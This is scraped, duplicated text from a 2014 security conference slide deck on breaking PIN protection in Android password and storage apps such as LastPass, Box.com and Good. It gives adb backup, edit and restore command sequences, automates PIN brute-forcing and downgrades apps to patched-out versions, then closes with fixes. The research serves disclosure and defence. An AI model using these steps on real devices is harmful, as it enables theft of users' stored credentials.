Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 70: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 71: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

